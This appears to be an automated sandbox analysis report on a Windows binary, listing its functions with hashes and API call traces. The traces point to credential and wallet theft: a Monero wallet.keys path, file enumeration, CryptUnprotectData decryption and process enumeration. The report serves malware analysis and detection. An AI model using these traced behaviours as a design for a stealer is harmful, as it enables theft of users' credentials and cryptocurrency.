Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *le$:hOJ$B@H@$Jz_$qq9z$ 7$Eq\
API String ID: 0-2278452203
Opcode ID: 007ac023f1ed767047ef464d0679567a8daaaaba6762ea2719f205805f197edf
Instruction ID: 480891c259de292d9d211d9105f49f1186369f5bc22bb0c63ada933252117170
Opcode Fuzzy Hash: 007ac023f1ed767047ef464d0679567a8daaaaba6762ea2719f205805f197edf
Instruction Fuzzy Hash: 75B2D4F3A082009FE704AE29EC8567ABBE5EF94320F16493DEAC4C7744E63598158797

Function 0067E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00690D73), ref: 0067E4A2
StrCmpCA.SHLWAPI(?,006914F8), ref: 0067E4F2
StrCmpCA.SHLWAPI(?,006914FC), ref: 0067E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0067EBDF

Strings

\*.*, xrefs: 0067E44D

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: b4a7d722e07e2c27f8f88b7e379d88627a165aa0b4fc1488a30a30fdccee565d
Instruction ID: a96320d9cdc8e2d805dbc1bb7e457ee58f3d7eeabcaa907b1b941c9f6c5a6889
Opcode Fuzzy Hash: b4a7d722e07e2c27f8f88b7e379d88627a165aa0b4fc1488a30a30fdccee565d
Instruction Fuzzy Hash: 321256719111149AEF58FBA0DC96DED733AAF54300F40439EB90A66091EF386F49CFA6

Function 00A366EA Relevance: 9.0, Strings: 6, Instructions: 1543COMMON

Download Yara Rule

Strings

:uf?, xrefs: 00A37007
W/?, xrefs: 00A36FE4
,%{, xrefs: 00A3755E
,Jm, xrefs: 00A36833
D=_, xrefs: 00A37242
\|=i, xrefs: 00A36B37

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,Jm$:uf?$D=_$W/?$\|=i$,%{
API String ID: 0-1816673933
Opcode ID: b84f2e96f45d8fcf62cc6eb76490d7c4ad4d7ff2047c8c03e6a861979dc0a366
Instruction ID: bbe3c8583aca9dc00c17442e28ef326d0b1e45b0be46b8cb76f682e5e1755b0b
Opcode Fuzzy Hash: b84f2e96f45d8fcf62cc6eb76490d7c4ad4d7ff2047c8c03e6a861979dc0a366
Instruction Fuzzy Hash: 45A2F3F3A0C2049FE314AE29EC8567AFBE9EF94320F16493DEAC4C3744E63558058697

Function 00679AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ng,00000000,00000000), ref: 00679AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00674EEE,00000000,?), ref: 00679B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ng,00000000,00000000), ref: 00679B2A
LocalFree.KERNEL32(?,?,?,?,00674EEE,00000000,?), ref: 00679B3F

Strings

Ng, xrefs: 00679AD4, 00679AE1, 00679AF9, 00679B18, 00679AE4, 00679B1B

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Ng
API String ID: 4291131564-1495073516
Opcode ID: 41256c9d518fc115ebdfd936379710ba77d4b1b5e06a024b016b4850d7cda2c5
Instruction ID: 3154d49ebbc7ae7ec139f4d557689ce246acec7e18d81f5dec07f29101af5bea
Opcode Fuzzy Hash: 41256c9d518fc115ebdfd936379710ba77d4b1b5e06a024b016b4850d7cda2c5
Instruction Fuzzy Hash: 1C11A4B4240308AFEB14CF64DC95FAA77B5FB89B00F208158F9199B390C775A901CB50

Function 00A34BF5 Relevance: 7.9, Strings: 5, Instructions: 1626COMMON

Download Yara Rule

Strings

d3M, xrefs: 00A34CEB
Sdwv, xrefs: 00A3595E
EO}+, xrefs: 00A35EDD
pkW=, xrefs: 00A35685
cr^G, xrefs: 00A35F74

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: EO}+$Sdwv$cr^G$d3M$pkW=
API String ID: 0-643821518
Opcode ID: c7eb64b38e76a962f117e0b8adfcf33b61beab303710bfa00493664e313b187b
Instruction ID: ea655a01477d527ff2c30bf4da6e0d00b9cf21c0cbb157ffd78852ad3504e261
Opcode Fuzzy Hash: c7eb64b38e76a962f117e0b8adfcf33b61beab303710bfa00493664e313b187b
Instruction Fuzzy Hash: F6B2D7F3608204AFE304AE2DEC8567ABBE5EFD4720F16893DE6C5C7744EA3558018697

Function 00A48B63 Relevance: 7.9, Strings: 5, Instructions: 1622COMMON

Download Yara Rule

Strings

6j'Y, xrefs: 00A49482
`(_|, xrefs: 00A49668
&;>, xrefs: 00A497BE
~[<, xrefs: 00A494B3
5GY, xrefs: 00A49DE8

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &;>$5GY$6j'Y$`(_|$~[<
API String ID: 0-3502887050
Opcode ID: d5a833f8cf379d1b36eccc4251990e3b95300e97517a72ffd17190cd32e4d59d
Instruction ID: 29cf3b396059803df964db8f7dbbafdfc86cf25aa24da5bfbb041a9e28767ab7
Opcode Fuzzy Hash: d5a833f8cf379d1b36eccc4251990e3b95300e97517a72ffd17190cd32e4d59d
Instruction Fuzzy Hash: B0B227F360C2049FE304AE2DEC8567ABBE9EFD4720F1A893DE5C5C3744EA3558058696

Function 00A47001 Relevance: 7.8, Strings: 5, Instructions: 1576COMMON

Download Yara Rule

Strings

gQm, xrefs: 00A480BD
y _, xrefs: 00A48017
RFUu, xrefs: 00A474E0
(8mt, xrefs: 00A47C60
:yL, xrefs: 00A476F9

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (8mt$:yL$RFUu$gQm$y _
API String ID: 0-473400732
Opcode ID: 5fa18fb3b68e7ae7598ee8119a946eadad509039242de1c18bb8d756ded0c628
Instruction ID: 2ed82476f07d00d5259b844a0724873600d3ba7788d515631be3faf4e5e04d5a
Opcode Fuzzy Hash: 5fa18fb3b68e7ae7598ee8119a946eadad509039242de1c18bb8d756ded0c628
Instruction Fuzzy Hash: 9CB2F4F39083049FE3046E29EC8567ABBE9EF94720F1A493DEAC4C7740E67558058797

Function 0067C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0067C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0067C87C
lstrcat.KERNEL32(?,00690B46), ref: 0067C943
lstrcat.KERNEL32(?,00690B47), ref: 0067C957
lstrcat.KERNEL32(?,00690B4E), ref: 0067C978

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 3f9f0845b1e7797374568ddedf1165cbc470e0c952b406703a7f516bcc68d42b
Instruction ID: 6ece2e81ce05e6ca1425599328fa24c0df0e19ced32f71f819004efeef6eda45
Opcode Fuzzy Hash: 3f9f0845b1e7797374568ddedf1165cbc470e0c952b406703a7f516bcc68d42b
Instruction Fuzzy Hash: 714180B5D0420AEFDB54DF90DD89BFEB7B9BB48304F1042A8E609A7280D7705A84CF91

Function 00686920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0068696C
sscanf.NTDLL ref: 00686999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006869B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006869C0
ExitProcess.KERNEL32 ref: 006869DA

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 415890d610d2e2337a9a515fe5a535db1d3236549c6bc4d050ee916453f8cec0
Instruction ID: 299c8b91fd896bf89b241b7daa7f650555cff66a8c5fbc55e2baf1bb6fa89078
Opcode Fuzzy Hash: 415890d610d2e2337a9a515fe5a535db1d3236549c6bc4d050ee916453f8cec0
Instruction Fuzzy Hash: 1621CBB5D14209ABCF48EFE4D9459EEB7B6FF48300F04866EE406E3250EB345605CB69

Function 00677240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0067724D
RtlAllocateHeap.NTDLL(00000000), ref: 00677254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00677281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 006772A4
LocalFree.KERNEL32(?), ref: 006772AE

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 76d098f3c200b16b87b9d236cfc09bb2e0b827e5774a46be384682c0ea906f2d
Instruction ID: 204b01f46e583daab563df35c862eed721fd0b5c8b97f9f1bd0c94defb54d8ed
Opcode Fuzzy Hash: 76d098f3c200b16b87b9d236cfc09bb2e0b827e5774a46be384682c0ea906f2d
Instruction Fuzzy Hash: 8F010075A40208BBEB14DFD4CD45F9E7779BB44701F108154FB19AA2C0D670AA018B65

Function 00689600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0068961E
Process32First.KERNEL32(00690ACA,00000128), ref: 00689632
Process32Next.KERNEL32(00690ACA,00000128), ref: 00689647
StrCmpCA.SHLWAPI(?,00000000), ref: 0068965C
CloseHandle.KERNEL32(00690ACA), ref: 0068967A

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 3e4eacc186ebae7ee4121297dcc9550c381f9f1c209168b7adf801498ac086e1
Instruction ID: 8f3726e0a0c4de28437b0f9f9d5eb2f72574c778031e13d1a3bcbab25c184042
Opcode Fuzzy Hash: 3e4eacc186ebae7ee4121297dcc9550c381f9f1c209168b7adf801498ac086e1
Instruction Fuzzy Hash: 56010C75A00208ABDB14DFA5DD58BEDB7F9FB48700F144398A905A6250EB349B80DF61

Function 00A3CE69 Relevance: 6.6, Strings: 4, Instructions: 1558COMMON

Download Yara Rule

Strings

'){U, xrefs: 00A3D065
G , xrefs: 00A3D04F
]k/, xrefs: 00A3D835
Q, xrefs: 00A3DE45

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
